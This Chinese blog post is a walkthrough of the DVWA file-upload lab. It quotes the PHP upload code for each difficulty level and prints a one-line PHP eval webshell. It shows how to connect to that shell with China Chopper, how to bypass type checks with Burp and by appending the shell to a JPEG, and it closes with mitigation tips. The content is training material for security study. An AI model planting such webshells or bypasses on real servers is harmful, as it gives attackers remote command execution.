Loading

DVWA 之 File Upload-文件上传

五、File Upload-文件上传

文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都爆出过文件上传漏洞。

1. Low

查看源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// Can we move the file to the upload folder?
	if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
		// No
		$html .= '<pre>Your image was not uploaded.</pre>';
	}
	else {
		// Yes!
		$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
	}
}

?>

basename(path, suffix)函数返回路径中的文件名部分,如果可选参数suffix 为空,则返回的文济南名包含后缀名,反之不包含后缀名。

可以看到,服务器对上传 文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

漏洞利用

文件上传漏洞的利用是有限制条件的,首先是要能成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。这里三个条件全部满足。

上传木马文件hack.php(一句话木马),内容如下

<?php
@eval($_POST['hello']);
?>

开始上传

上传成功,并且显示上传的路径。

使用中国菜刀进行连接,打开中国菜刀,右键添加

在地址栏填入上传文件所在路径 http://127.0.0.1/DVWA-master/hackable/uploads/hack.php

参数名(一句话木马口令)为 hello

然后菜刀就会通过向服务器发送包含apple参数的post请求,在服务器上执行任意命令,获取webshell权限。(云电脑上中国菜刀未响应,就不贴图了)

2. Medium

查看源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

	// Is it an image?
	if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
		( $uploaded_size < 100000 ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>

可以看到Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是 jpeg 或者 png,大小不能超过100000Byte(约97.5KB)

漏洞利用

由于是一句话木马,因此文件大小不会有问题,通过抓包修改文件类型可以绕过文件类型限制。

创建hack_medium.png文件,内容为一句话木马。(先建立php文件,再将文件名后缀改为png)

通过burp进行抓包修改文件类型,点击Forward

上传成功

后续可以通过中国菜刀进行连接。

3. High

查看源代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

	// File information
	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

	// Is it an image?
	if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
		( $uploaded_size < 100000 ) &&
		getimagesize( $uploaded_tmp ) ) {

		// Can we move the file to the upload folder?
		if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
			// No
			$html .= '<pre>Your image was not uploaded.</pre>';
		}
		else {
			// Yes!
			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
		}
	}
	else {
		// Invalid file
		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
	}
}

?>

strrpos(string, find, start)函数返回字符串 find 在另一字符串 string 中最后一次出现的位置,如果没有找到字符串则返回false,可选参数 start规定在何处开始搜索。

getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

High级别的代码读取文件名中最后一个.后的字符串,期望通过文件名来限制值文件类型,因此要求上传文件名形式必须是.jpg/jpeg/png之一,同时限制了上传文件的文件头必须为图像类型。

漏洞利用

将一句话木马写入图片中,再上传图片文件。

利用copy将一句话木马文件hack.php与图片文件1.jpg合并生成hack.jpg文件

copy 1.jpg/b+hack.php/a hack.jpg

一句话木马添加到了图片文件的最后。

上传此包含一句话木马的图片文件,上传成功

后续通过中国菜刀连接,获取webshell。

防护方法

  • 文件上传的目录设置为不可执行
  • 判断文件类型,推荐白名单方式
  • 使用随机数改写文件名和文件路径
  • 单独设置文件服务器的域名
posted @ 2023-03-05 07:45  紫曜花  阅读(136)  评论(0编辑  收藏  举报